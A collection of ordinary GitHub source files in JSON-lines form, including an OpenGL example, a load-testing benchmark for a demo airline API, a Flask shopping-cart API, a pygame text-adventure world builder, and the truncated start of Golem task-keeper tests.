uv;\n\tgl_Position = projectionMatrix * viewMatrix * modelMatrix * vec4(position, 1);\n}\n\"\"\"\n\nfragmentShader = \"\"\"\n#version 330 core\nin vec2 vUv;\nout vec4 color;\nuniform sampler2D diffuseMap;\n\nvoid main(){\n\tvec3 tex = texture(diffuseMap, vUv).rgb;\n\tcolor = vec4(tex, 1.0);\n}\n\"\"\"\n\n\n# Init\nwidth, height = 640, 480\nmodel_matrix = np.identity(4)\nwindow = GLFWViewer(width, height, (0.6, 0.7, 0.7, 1.0))\n\n# create geometry\nVertex = np.dtype([('position', np.float32, 3),\n\t\t\t\t ('uv', np.float32, 2)])\ngeo = box()\n\nvertices = np.zeros(6*4, Vertex)\nvertices['position'] = geo['positions']\nvertices['uv'] = geo['uvs']\n\n# Setup opengl context\nwith window:\n\tglEnable(GL_PROGRAM_POINT_SIZE)\n\tglEnable(GL_DEPTH_TEST)\n\n\tprogram = gloo.Program(vertexShader, fragmentShader)\n\tnoise_data = np.random.uniform( 0,1, (64,64,3)).astype(np.float32)\n\ttexture = gloo.Texture.from_data(noise_data, slot=0)\n\t\n\t# upload geomery to GPU\n\tindexBuffer = gloo.EBO(geo['indices'])\n\tvao = gloo.VAO()\n\n\n\n\twith program, vao:\n\t\t# single VBO from structured ndarray to VAO\n\t\toffset = 0\n\t\tvbo = gloo.VBO(vertices)\n\t\tgtypes={\n\t\t\tnp.float32: GL_FLOAT\n\t\t}\n\t\tfor name in vertices.dtype.names:\n\t\t\tlocation = program.get_attribute_location(name)\n\t\t\tsize = vertices[name].shape[1]\n\t\t\tgtype = gtypes[np.float32]\n\t\t\tstride = vertices.itemsize\n\t\t\tvao.enable_vertex_attribute(location)\n\t\t\tvao.add_vertex_attribute(location, vbo, size, GL_FLOAT, stride=stride, offset=offset)\n\t\t\toffset+=vertices.dtype[name].itemsize\n\n\n# Draw\nwith window:\n\twhile not window.should_close():\n\t\twith program:\n\t\t\tglViewport(0, 0, window.width, window.height)\n\t\t\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n\t\t\tprogram.set_uniform('projectionMatrix', window.projection_matrix)\n\t\t\tprogram.set_uniform('viewMatrix', window.view_matrix)\n\t\t\tprogram.set_uniform('modelMatrix', model_matrix)\n\n\t\t\tprogram.set_uniform('diffuseMap', texture.texture_unit)\n\n\t\t\twith vao, indexBuffer, texture:\n\t\t\t\tcount = indexBuffer.count\n\t\t\t\tglDrawElements(GL_TRIANGLES, count, GL_UNSIGNED_INT, None)\n\t\t\t\tglDrawElements(GL_POINTS, count, GL_UNSIGNED_INT, None)\n\n\t\t\twindow.swap_buffers()\n\t\t\tGLFWViewer.poll_events()","repo_name":"zalavariandris/editor","sub_path":"render/gloo_examples/minimal_example.py","file_name":"minimal_example.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"32458741562","text":"userNum = int(input(\"Enter a number: \"))\r\ndef hailstone(num):\r\n if num % 2 == 0:\r\n num //= 2\r\n elif num % 2 == 1:\r\n num*=3\r\n num+=1\r\n return num\r\n\r\nwhile userNum != 1:\r\n print(hailstone(userNum))\r\n userNum = hailstone(userNum)\r\nprint(\"Press enter to close\")\r\ninput()\r\n","repo_name":"Meercat33/hailstone_sequence","sub_path":"hailstone.py","file_name":"hailstone.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42103010208","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n\nimport uuid\nimport sys\nimport logging\nimport time\nimport argparse\nimport datetime\nimport json\nimport requests\nimport urllib\n\nlogger = logging.getLogger('huaweiair-benchmark')\nlogger.setLevel(logging.INFO)\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\nSTAT_INTERVAL = 100\nSRC_MICROSERVICE = {'x-ces-src-microservice': 'gateway'}\n\ndef call_query_orders(host, times=None, interval=None, userid=\"uid0@email.com\"):\n url = \"%s/orders/huaweiair/v1/orders\" % host\n userid = \"uid0@email.com\" if userid is None else userid\n times = sys.maxint if times is None or int(times) == 0 else int(times)\n interval = 0 if interval is None else float(interval)\n playload = {'userId': userid}\n \n logger.info('start query orders with host: %s, times: %s, interval: %s, userid: %s', host, times, interval, userid)\n\n cookie = login(host)\n if cookie is None:\n logger.error(\"login failure\")\n return\n\n headers = {'x-cse-context': json.dumps(SRC_MICROSERVICE), 'Cookie': cookie}\n n = 0\n success = 0\n failure = 0\n while n < times:\n try:\n response = requests.get(url, headers=headers, params=playload)\n if response.status_code == 200:\n success = success + 1\n else:\n failure = failure + 1\n logger.debug(\n \"query order by url %s at times %s, got response %s\", url, n, response.status_code)\n except requests.exceptions.ConnectionError:\n logger.error('connection refused')\n except Exception as e:\n logger.error(\n 'query order by url %s at times %s with exception %s', url, n, e.message)\n failure = failure + 1\n n = n + 1\n if n % STAT_INTERVAL == 0:\n logger.info(\n '[query order stat] total rquests: %s, success: %s, failure %s', n, success, failure)\n if interval != 0:\n time.sleep(interval)\n\n\ndef call_create_order(host, times=None, interval=None, userid=\"uid0@email.com\"):\n url = \"%s/orders/huaweiair/v1/orders\" % host\n userid = \"uid0@email.com\" if userid is None else userid\n times = sys.maxint if times is None or int(times) == 0 else int(times)\n interval = 0 if interval is None else float(interval)\n\n toDate = datetime.datetime.now()\n toArrivalDate = toDate + datetime.timedelta(hours=2)\n retDate = toDate + datetime.timedelta(days=1)\n retArrivalDate = retDate + datetime.timedelta(hours=2)\n playload = {\n \"fromAirPortName\": u'北京 Beijing',\n \"oneWayFlight\": False,\n \"retFlightClass\": 1,\n \"retFlightId\": \"9c0ca371-184e-47e4-b083-e9af4d7e1f17\",\n \"retFlightPrice\": 200,\n \"retFlightSegId\": \"AA482\",\n \"retScheduledArrivalTime\": retDate.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"retScheduledDepartureTime\": retArrivalDate.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"toAirPortName\": u'上海 Shanghai',\n \"toFlightClass\": 1,\n \"toFlightId\": \"76f3334e-486c-4be6-8fd6-d4fe9ee1a3c1\",\n \"toFlightPrice\": 200,\n \"toFlightSegId\": \"AA467\",\n \"toScheduledArrivalTime\": toDate.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"toScheduledDepartureTime\": toArrivalDate.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"userId\": \"uid0@email.com\"\n }\n\n logger.info('start create order with host: %s, times: %s, interval: %s, userid: %s',\n host, times, interval, userid)\n\n cookie = login(host)\n if cookie is None:\n logger.error(\"login failure\")\n return\n\n n = 0\n success = 0\n failure = 0\n headers = {'Content-Type': 'Application/json', 'x-cse-context': json.dumps(SRC_MICROSERVICE), 'Cookie': cookie}\n while n < times:\n try:\n response = requests.post(url, headers=headers, data=json.dumps(playload))\n if response.status_code == 200:\n success = success + 1\n else:\n failure = failure + 1\n logger.debug(\n \"create order by url %s at times %s, got response %s\", url, n, response.status_code)\n except requests.exceptions.ConnectionError:\n logger.error('connection refused')\n except Exception as e:\n logger.error(\n 'create order by url %s at times %s with exception %s', url, n, e.message)\n failure = failure + 1\n\n n = n + 1\n if n % STAT_INTERVAL == 0:\n logger.info(\n '[create order stat] total rquests: %s, success: %s, failure %s', n, success, failure)\n if interval != 0:\n time.sleep(interval)\n\n\ndef call_pay_order(host, times=None, interval=None, userid=\"uid0@email.com\"):\n url = \"%s/orders/huaweiair/v1/orders/%s\" % (host, uuid.uuid4().hex)\n userid = \"uid0@email.com\" if userid is None else userid\n times = sys.maxint if times is None or int(times) == 0 else int(times)\n interval = 0 if interval is None else float(interval)\n\n playload = {'action': 1}\n logger.info('start pay order with host: %s, times: %s, interval: %s, userid: %s',\n host, times, interval, userid)\n\n cookie = login(host)\n if cookie is None:\n logger.error(\"login failure\")\n return\n\n n = 0\n success = 0\n failure = 0\n headers = {'Content-Type': 'application/x-www-form-urlencoded', 'x-cse-context': json.dumps(SRC_MICROSERVICE), 'Cookie': cookie}\n while n < times:\n try:\n response = requests.put(\n url, headers=headers, data=playload)\n if response.status_code == 200:\n success = success + 1\n else:\n failure = failure + 1\n logger.debug(\n \"pay order by url %s at times %s, got response %s\", url, n, response.status_code)\n except requests.exceptions.ConnectionError:\n logger.error('connection refused')\n except Exception as e:\n logger.error(\n 'pay order by url %s at times %s with exception %s', url, n, e.message)\n failure = failure + 1\n n = n + 1\n if n % STAT_INTERVAL == 0:\n logger.info(\n '[pay order stat] total rquests: %s, success: %s, failure %s', n, success, failure)\n if interval != 0:\n time.sleep(interval)\n\n\ndef call_delete_order(host, times=None, interval=None, userid=\"uid0@email.com\"):\n url = \"%s/orders/huaweiair/v1/orders/%s\" % (host, uuid.uuid4().hex)\n userid = \"uid0@email.com\" if userid is None else userid\n times = sys.maxint if times is None or int(times) == 0 else int(times)\n interval = 0 if interval is None else float(interval)\n \n logger.info('start delete order with host: %s, times: %s, interval: %s, userid: %s',\n host, times, interval, userid)\n cookie = login(host)\n if cookie is None:\n logger.error(\"login failure\")\n return\n\n headers = {'x-cse-context': json.dumps(SRC_MICROSERVICE), 'Cookie': cookie}\n n = 0\n success = 0\n failure = 0\n while n < times:\n try:\n response = requests.delete(url, headers=headers)\n if response.status_code == 200:\n success = success + 1\n else:\n failure = failure + 1\n logger.debug(\n \"delete order by url %s at times %s, got response %s\", url, n, response.status_code)\n except requests.exceptions.ConnectionError:\n logger.error('connection refused')\n except Exception as e:\n logger.error(\n 'delete order by url %s at times %s with exception %s', url, n, e.message)\n failure = failure + 1\n n = n + 1\n if n % STAT_INTERVAL == 0:\n logger.info(\n '[delete order stat] total rquests: %s, success: %s, failure %s', n, success, failure)\n if interval != 0:\n time.sleep(interval)\n\ndef create_arg_parser():\n parser = argparse.ArgumentParser(prog=\"huaweiair-benchmark\")\n parser.add_argument('-s', '--host', dest='host',\n help='host address, e.g: http://ip:port')\n parser.add_argument('-t', '--times', dest='times',\n help='call times, 0 means infinity')\n parser.add_argument('-i', '--interval', dest='interval',\n help='call intervals, 1 means 1s, 0.1 means 100 ms')\n parser.add_argument('-u', '--userid', dest='userid', help='user id')\n return parser\n\n\ndef login(host, userid=\"uid0@email.com\", password=\"password\"):\n url = \"%s/customers/rest/api/login\" % (host)\n headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n data = {'login': userid, 'password': password}\n response = requests.post(url, data=data, headers=headers)\n if response.status_code == 200:\n # sessionid=53156a18-5a21-49d9-b844-009e1c2be227;path=/\n set_cookie = response.headers.get('Set-Cookie')\n logger.info('Set-Cookie in headers: %s', set_cookie)\n sessiondid = set_cookie.split(';')[0].split('=')[1]\n # sessionid=4aaa8aa2-19bf-4041-8169-6ef361661067; loggedinuser=uid0%40email.com\n cookie = \"sessionid=%s; loggedinuser=%s\" % (sessiondid, urllib.quote(userid))\n logger.info(\"cookie in headers: %s\", cookie)\n return cookie\n else:\n logger.error('login failure with user: %s, password: %s', userid, password)\n return None\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n logger.error('Usage: %s get-order|pay-order|create-order|delete-order [options]', sys.argv[0])\n sys.exit(1)\n \n command = sys.argv[1]\n args = sys.argv[2:]\n parser = create_arg_parser()\n know_args = parser.parse_args(args)\n\n if know_args.host is None:\n parser.print_help()\n sys.exit(1)\n\n if command == \"get-order\":\n call_query_orders(know_args.host, know_args.times,\n know_args.interval, know_args.userid)\n elif command == \"create-order\":\n call_create_order(know_args.host, know_args.times,\n know_args.interval, know_args.userid)\n elif command == \"pay-order\":\n call_pay_order(know_args.host, know_args.times,\n know_args.interval, know_args.userid)\n elif command == \"delete-order\":\n call_delete_order(know_args.host, know_args.times,\n know_args.interval, know_args.userid)\n else:\n logger.error('unknow command: %s', command)\n","repo_name":"maoxuepeng/huaweiair-benchmark","sub_path":"src/python/huaweiair_benchmark.py","file_name":"huaweiair_benchmark.py","file_ext":"py","file_size_in_byte":10579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6092176636","text":"\n# import csv\nimport util.file_util as fileUtil\nfrom models.product import Product\n \nproducts = []\nproduct = Product()\nproduct.code = \"1\"\nproduct.name = \"Nome 1\"\nproduct.line = \"1\"\nproduct.reference = \"2\"\nproduct.lot = \"2\"\nproduct.inventory_cdi = 0.0\nproduct.inventory_embraco = 0.0\nproduct.programation = \"2021-11-02\"\nproducts.append(product)\n\nproduct = Product()\nproduct.code = \"2\"\nproduct.name = \"Nome 2\"\nproduct.line = \"1\"\nproduct.reference = \"2\"\nproduct.lot = \"2\"\nproduct.inventory_cdi = 0.0\nproduct.inventory_embraco = 0.0\nproduct.programation = \"2021-11-02\"\nproducts.append(product)\n\n# field names \nfields = ['Codigo', 'Nome', 'Linha', 'Referencia', 'Lote', 'Saldo_CDI', 'Saldo_embramaco', 'Programacao'] \n \nfileUtil.productsToCsv(\"embramaco.csv\", products)\n\n# with open('csv/embramaco.csv', 'w') as f:\n \n# # using csv.writer method from CSV package\n# write = csv.writer(f)\n \n# write.writerow(fields)\n# write.writerows(rows)","repo_name":"fernandobloedorn/scrap","sub_path":"test-csv.py","file_name":"test-csv.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7166029960","text":"from flask import Flask, request, jsonify\r\n\r\napp = Flask(__name__)\r\n\r\n# Temporary product data\r\nproducts = [\r\n {\r\n 'id': 1,\r\n 'name': 'Mac Book Pro',\r\n 'price': 45.55,\r\n 'description': 'Amazing laptop with awesome security'\r\n },\r\n {\r\n 'id': 2,\r\n 'name': 'Ipad',\r\n 'price': 29.99,\r\n 'description': 'Easy to use products awesome and seemless experience'\r\n },\r\n {\r\n 'id': 3,\r\n 'name': 'All in One Printer',\r\n 'price': 10.88,\r\n 'description': 'Print, Scan and Xerox using a single machine'\r\n },\r\n {\r\n 'id': 4,\r\n 'name': 'TV 43 inch',\r\n 'price': 20.15,\r\n 'description': 'Amazing TV with 4k display'\r\n },\r\n # Add more products here as needed\r\n]\r\n\r\n# Temporary cart data stored in a Python dictionary for each user\r\ncarts = {}\r\n\r\n# Routes for handling different API endpoints\r\n@app.route('/products', methods=['GET'])\r\ndef get_products():\r\n return jsonify(products)\r\n\r\n@app.route('/products/', methods=['GET'])\r\ndef get_product(product_id):\r\n product = next((p for p in products if p['id'] == product_id), None)\r\n if not product:\r\n return jsonify({'error': 'Product not found'}), 404\r\n return jsonify(product)\r\n\r\n@app.route('/products', methods=['POST'])\r\ndef add_product():\r\n data = request.get_json()\r\n new_product = {\r\n 'id': len(products) + 1,\r\n 'name': data.get('name'),\r\n 'price': data.get('price'),\r\n 'description': data.get('description')\r\n }\r\n products.append(new_product)\r\n return jsonify(new_product), 201\r\n\r\n@app.route('/cart', methods=['GET'])\r\ndef view_cart():\r\n user_id = request.args.get('user_id')\r\n cart = carts.get(user_id, {})\r\n\r\n # Create a list to store cart items with additional details\r\n cart_items = []\r\n total_amount = 0\r\n\r\n for product_id, quantity in cart.items():\r\n product = next((p for p in products if p['id'] == product_id), None)\r\n if product:\r\n item_total = product['price'] * quantity\r\n total_amount += item_total\r\n cart_items.append({\r\n 'product_id': product_id,\r\n 'name': product['name'],\r\n 'price': product['price'],\r\n 'quantity': quantity,\r\n 'item_total': item_total\r\n })\r\n\r\n return jsonify({\r\n 'cart_items': cart_items,\r\n 'total_amount': total_amount\r\n })\r\n\r\n@app.route('/cart/add', methods=['POST'])\r\ndef add_to_cart():\r\n data = request.get_json()\r\n user_id = data.get('user_id')\r\n product_id = data.get('product_id')\r\n quantity = data.get('quantity', 1)\r\n\r\n product = next((p for p in products if p['id'] == product_id), None)\r\n if not product:\r\n return jsonify({'error': 'Product not found'}), 404\r\n\r\n # Add the product to the user's cart or update the quantity if it's already in the cart\r\n cart = carts.get(user_id, {})\r\n cart[product_id] = cart.get(product_id, 0) + quantity\r\n carts[user_id] = cart\r\n\r\n return jsonify(cart)\r\n\r\n@app.route('/cart/delete', methods=['POST'])\r\ndef delete_from_cart():\r\n data = request.get_json()\r\n user_id = data.get('user_id')\r\n product_id = data.get('product_id')\r\n\r\n cart = carts.get(user_id, {})\r\n if product_id in cart:\r\n del cart[product_id]\r\n carts[user_id] = cart\r\n return jsonify({'message': 'Product removed from cart successfully'}), 200\r\n else:\r\n return jsonify({'error': 'Product not found in the cart'}), 404\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"Kedarsdeo75/Unit-Testing","sub_path":"eComAPIApp.py","file_name":"eComAPIApp.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33650998076","text":"def analisar(lista):\r\n l1 = []\r\n l2 = []\r\n l3 = []\r\n l4 = []\r\n for number in lista:\r\n if number in range(0, 25):\r\n l1.append(number)\r\n elif number in range(26, 50):\r\n l2.append(number)\r\n elif number in range(51, 75):\r\n l3.append(number)\r\n elif number in range(76, 100):\r\n l4.append(number)\r\n return len(l1), len(l2), len(l3), len(l4)\r\n\r\n\r\nlista_resultado = []\r\nflag = True\r\nwhile flag:\r\n numero = int(input('Digite um numero: '))\r\n if numero > 0:\r\n lista_resultado.append(numero)\r\n else:\r\n flag = False\r\n\r\nfinal = analisar(lista_resultado)\r\nprint(f'No intervalo [0-25] tem: {final[0]} numeros'\r\n f'\\nNo intervalo [26-50] tem: {final[1]} numeros'\r\n f'\\nNo intervalo [51-75] tem: {final[2]} numeros'\r\n f'\\nNo intervalo [76-100] tem: {final[3]} numeros')\r\n\r\n\r\n","repo_name":"julioreis-dev/exercicio_puc1","sub_path":"4-exercicio8_puc.py","file_name":"4-exercicio8_puc.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28276273074","text":"# Using continue in a Loop\n\n# Rather than breaking out of a loop entirely without executing the rest of its\n# code, you can use the continue statement to return to the beginning of the\n# loop based on the result of a conditional test. For example, consider a loop\n# that counts from 1 to 10 but prints only the odd numbers in that range:\n\ncurrent_number = 0\nwhile current_number < 10:\n current_number += 1\n if current_number % 2 == 0:\n continue\n print(current_number)\n","repo_name":"shaoda06/python_work","sub_path":"Part_I_Basics/examples/example_7_2_5_counting.py","file_name":"example_7_2_5_counting.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"23220377671","text":"import json, pygame, math, random\n\nask_for_file_out = True\nask_for_file_in = True\n\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\ndef pressed(l):\n\tif l not in alphabet: return None\n\telse: return pygame.key.get_pressed()[97+alphabet.index(l)]\n\t\ndef dist(p1,p2):\n\treturn math.sqrt((p1[0]-p2[0])*(p1[0]-p2[0])+(p1[1]-p2[1])*(p1[1]-p2[1]))\n\t\ndef build_world():\n\t\n\tif ask_for_file_out: output_filename = input(\"Enter output file name (without extension): \")\n\telse: output_filename = \"world\"\n\t\n\trooms = []\n\troom_ids = []\n\texits = []\n\titems = []\n\tstarting_room = None\n\ttreasure_room = None\n\twin_message = None\n\t\t\n\tif ask_for_file_in: \n\t\tload_filename = input(\"Enter load file name (without extension or suffix) or type 'none': \")\n\t\tif load_filename != \"none\":\n\t\t\twith open(load_filename+\"-reuse.json\", \"r\") as f_in:\n\t\t\t\tloaded = json.load(f_in)\n\t\t\trooms = loaded.get(\"rooms\")\n\t\t\titems = loaded.get(\"items\")\n\t\t\tif items is None: items = []\n\t\t\troom_ids = [room.get(\"id\") for room in rooms]\n\t\t\texits_provisional = [[room,ex.get(\"room id\")] for room in rooms for ex in room.get(\"exits\")]\n\t\t\tfor ex in exits_provisional:\n\t\t\t\tfor room in rooms:\n\t\t\t\t\tif room.get(\"id\") == ex[1]:\n\t\t\t\t\t\texits.append((ex[0],room))\n\t\t\tstarting_room = loaded.get(\"start room\")\n\t\t\ttreasure_room = loaded.get(\"treasure room\")\n\t\t\twin_message = loaded.get(\"win message\")\n\t\t\t\t\t\t\n\tpygame.init()\n\t\n\tSCREENSIZE = (2000,1500)\n\tRADIUS = 50\n\tscreen = pygame.display.set_mode(SCREENSIZE)\n\tbackground = pygame.Surface(screen.get_size())\n\tbackground.fill((255,255,255))\n\tbackground = background.convert()\n\tscreen.blit(background, (0, 0))\n\t\n\t\n\tdef clicked():\n\t\tfor room in rooms:\n\t\t\tif dist(room.get(\"position\"),pygame.mouse.get_pos()) < RADIUS:\n\t\t\t\treturn room\n\t\treturn None\n\t\n\tmainloop = True\n\t\n\texit_from = None\n\tmove_from = None\n\n\twhile mainloop:\n\t\tcolor = (0,0,0)\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tmainloop = False \n\t\t\tif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\t\tif exit_from is not None:\n\t\t\t\t\tc = clicked()\n\t\t\t\t\tif c is not None:\n\t\t\t\t\t\tif dist(c.get(\"position\"),pygame.mouse.get_pos()) < RADIUS:\n\t\t\t\t\t\t\taliases = input(\"Enter comma separated aliases for the exit from \"+exit_from.get(\"id\")+\" to \"+c.get(\"id\")+\": \").split(\",\")\n\t\t\t\t\t\t\tif aliases != [\"\"]:\n\t\t\t\t\t\t\t\tfor alias in list(set(aliases)):\n\t\t\t\t\t\t\t\t\texit_from.get(\"exits\").append({\"name\":alias,\"room id\":c.get(\"id\")})\n\t\t\t\t\t\t\t\texits.append((exit_from,c))\n\t\t\t\t\t\t\texit_from = None\n\t\t\t\t\t\t\tmove_from = None\n\t\t\t\t\t\t\t\n\t\t\t\tif move_from is not None:\n\t\t\t\t\ttoo_close = False\n\t\t\t\t\tfor room in rooms:\n\t\t\t\t\t\tif dist(room.get(\"position\"),pygame.mouse.get_pos()) < RADIUS*3: too_close = True\n\t\t\t\t\tif not too_close: \n\t\t\t\t\t\tmove_from.update({\"position\":pygame.mouse.get_pos()})\n\t\t\t\t\t\texit_from = None\n\t\t\t\t\t\tmove_from = None\n\t\t\t\telse:\n\t\t\t\t\tif pressed(\"q\"):\n\t\t\t\t\t\tc = clicked()\n\t\t\t\t\t\tif c is not None: print(json.dumps(c, indent = 4))\n\t\t\t\t\telif pressed(\"e\"):\n\t\t\t\t\t\texit_from = clicked()\n\t\t\t\t\telif pressed(\"m\"):\n\t\t\t\t\t\tmove_from = clicked()\n\t\t\t\t\telif pressed(\"i\"):\n\t\t\t\t\t\tc = clicked()\n\t\t\t\t\t\tif c is not None: \n\t\t\t\t\t\t\tnew_items = (input(\"Enter ';' separated items, each formed 'name,points', for \"+c.get(\"id\")+\": \").split(\";\"))\n\t\t\t\t\t\t\tfor item in new_items:\n\t\t\t\t\t\t\t\titems.append({\"name\":item.split(\",\")[0],\"starting room\":c.get(\"id\"),\"points\":item.split(\",\")[1]})\n\t\t\t\t\telif pressed(\"s\"):\n\t\t\t\t\t\tc = clicked()\n\t\t\t\t\t\tif c is not None: starting_room = c.get(\"id\")\n\t\t\t\t\telif pressed(\"t\"):\n\t\t\t\t\t\tfor room in rooms:\n\t\t\t\t\t\t\tif dist(room.get(\"position\"),pygame.mouse.get_pos()) < RADIUS:\n\t\t\t\t\t\t\t\ttreasure_room = room.get(\"id\")\n\t\t\t\t\telse:\n\t\t\t\t\t\ttoo_close = False\n\t\t\t\t\t\tfor room in rooms:\n\t\t\t\t\t\t\tif dist(room.get(\"position\"),pygame.mouse.get_pos()) < RADIUS*3: too_close = True\n\t\t\t\t\t\tif not too_close: \n\t\t\t\t\t\t\tidentifier = None\n\t\t\t\t\t\t\twhile identifier is None or identifier in room_ids:\n\t\t\t\t\t\t\t\tidentifier = input(\"Enter new room id: \")\n\t\t\t\t\t\t\tpoints = input(\"Enter new room point value: \")\n\t\t\t\t\t\t\tdescription = input(\"Enter \"+identifier+\" description: \")\n\t\t\t\t\t\t\trooms.append({\"id\":identifier,\"points\":points,\"description\":description,\"exits\":[],\"index\":len(rooms),\"position\":pygame.mouse.get_pos(),\"color\":(random.randint(30,255),random.randint(30,255),random.randint(30,255))})\n\t\t\t\t\t\t\troom_ids.append(identifier)\n\t\t\t\t\n\t\tbackground = pygame.Surface(SCREENSIZE)\n\t\tbackground.fill(color)\n\t\t\n\t\tfor ex in exits:\n\t\t\tif ex[0] == move_from: \n\t\t\t\tpygame.draw.line(background,(255,255,255),pygame.mouse.get_pos(),ex[1].get(\"position\"),3)\n\t\t\telif ex[1] == move_from: \n\t\t\t\tpygame.draw.line(background,(255,255,255),ex[0].get(\"position\"),pygame.mouse.get_pos(),3)\n\t\t\telse: pygame.draw.line(background,(255,255,255),ex[0].get(\"position\"),ex[1].get(\"position\"),3)\n\t\t\t\n\t\tif exit_from is not None:\n\t\t\tpygame.draw.line(background,(255,255,255),exit_from.get(\"position\"),pygame.mouse.get_pos(),3)\n\n\t\tfor room in rooms:\n\t\t\tif room == move_from:\n\t\t\t\tpygame.draw.circle(background,room.get(\"color\"),pygame.mouse.get_pos(),RADIUS)\n\t\t\telse: pygame.draw.circle(background,room.get(\"color\"),room.get(\"position\"),RADIUS)\n\t\t\t\n\t\tscreen.blit(background, (0,0))\t\t\n\t\tpygame.display.flip()\n\t\t\n\tpygame.quit()\n\n\tif rooms != []:\n\t\tif starting_room is None:\n\t\t\tstarting_room = rooms[0].get(\"id\")\n\t\t\t\n\t\tif treasure_room is None:\n\t\t\ttreasure_room = rooms[0].get(\"id\")\n\t\t\t\n\t\tif win_message is None:\n\t\t\twin_message = input(\"Enter win message: \")\n\t\t\t\n\t\tworld = {\"rooms\":rooms,\"start room\":starting_room,\"treasure room\":treasure_room, \"items\":items, \"win message\":win_message}\n\n\t\twith open(output_filename+\"-reuse.json\",\"w\") as f:\n\t\t\tjson.dump(world, f, indent = 4)\n\t\t\t\n\t\tfor room in rooms:\n\t\t\troom.pop(\"index\")\n\t\t\troom.pop(\"position\")\n\t\t\troom.pop(\"color\")\n\t\n\t\tworld = {\"rooms\":rooms,\"start room\":starting_room,\"treasure room\":treasure_room, \"items\":items, \"win message\":win_message}\n\n\t\twith open(output_filename+\".json\",\"w\") as f:\n\t\t\tjson.dump(world, f, indent = 4)\n\t\t\t\n\t\tprint(\"Resulting world: \")\n\t\tprint(json.dumps(world, indent = 4))\n\t\t\n\nbuild_world()\n","repo_name":"thomasporter-cornell/world-builder","sub_path":"world-builder.py","file_name":"world-builder.py","file_ext":"py","file_size_in_byte":5925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71040216543","text":"# pylint: disable=protected-access\nfrom datetime import timedelta\nfrom pathlib import Path\nimport random\nimport time\nimport unittest.mock as mock\n\nfrom eth_utils import encode_hex\nfrom ethereum.utils import denoms\nfrom freezegun import freeze_time\nfrom golem_messages import idgenerator\nfrom golem_messages import factories as msg_factories\nfrom golem_messages.datastructures import tasks as dt_tasks\nfrom golem_messages.datastructures.masking import Mask\nfrom golem_messages.factories.datastructures import p2p as dt_p2p_factory\nfrom golem_messages.message import ComputeTaskDef\nfrom twisted.internet.defer import inlineCallbacks, Deferred\nfrom twisted.trial.unittest import TestCase as TwistedTestCase\n\nimport golem\nfrom golem.core import deferred as core_deferred\nfrom golem.core.common import get_timestamp_utc, timeout_to_deadline\nfrom golem.environments.environment import Environment, UnsupportReason,\\\n SupportStatus\nfrom golem.environments.environmentsmanager import \\\n EnvironmentsManager as OldEnvManager\nfrom golem.network.hyperdrive.client import HyperdriveClient\nfrom golem.task.helpers import calculate_subtask_payment\nfrom golem.task import taskarchiver\nfrom golem.task import taskkeeper\nfrom golem.task.envmanager import EnvironmentManager as NewEnvManager\nfrom golem.task.taskkeeper import TaskHeaderKeeper, CompTaskKeeper, logger\nfrom golem.testutils import PEP8MixIn\nfrom golem.testutils import TempDirFixture\nfrom golem.tools.assertlogs import LogTestCase\n\n\ndef async_run(request, success=None, error=None):\n try:\n result = request.method(*request.args, **request.kwargs)\n except Exception as exc: # pylint: disable=broad-except\n if error:\n error(exc)\n else:\n if success:\n success(result)\n\n\nclass TestTaskHeaderKeeperIsSupported(TempDirFixture, LogTestCase):\n\n def setUp(self) -> None:\n super().setUp()\n self.tk = TaskHeaderKeeper(\n old_env_manager=OldEnvManager(),\n new_env_manager=NewEnvManager(self.new_path),\n node=dt_p2p_factory.Node(),\n min_price=10.0)\n self.tk.old_env_manager.environments = {}\n self.tk.old_env_manager.support_statuses = {}\n\n def _add_environment(self):\n e = Environment()\n e.accept_tasks = True\n self.tk.old_env_manager.add_environment(e)\n\n def test_supported(self):\n self._add_environment()\n header = get_task_header()\n header.max_price = 10.0\n self.assertTrue(self.tk.check_support(header))\n\n def test_header_uninitialized(self):\n header = get_task_header()\n header.environment = None\n header.max_price = None\n header.min_version = None\n self.assertFalse(core_deferred.sync_wait(self.tk.check_support(header)))\n\n def test_environment_missing(self):\n header = get_task_header()\n header.environment = Environment.get_id()\n supported = core_deferred.sync_wait(self.tk.check_support(header))\n self.assertFalse(supported)\n self.assertIn(UnsupportReason.ENVIRONMENT_MISSING, supported.desc)\n\n def test_max_price(self):\n self._add_environment()\n header = get_task_header()\n header.max_price = 0\n supported = core_deferred.sync_wait(self.tk.check_support(header))\n self.assertFalse(supported)\n self.assertIn(UnsupportReason.MAX_PRICE, supported.desc)\n\n def test_config_min_price(self):\n self._add_environment()\n header = get_task_header()\n header.max_price = 10.0\n\n config_desc = mock.Mock()\n config_desc.min_price = 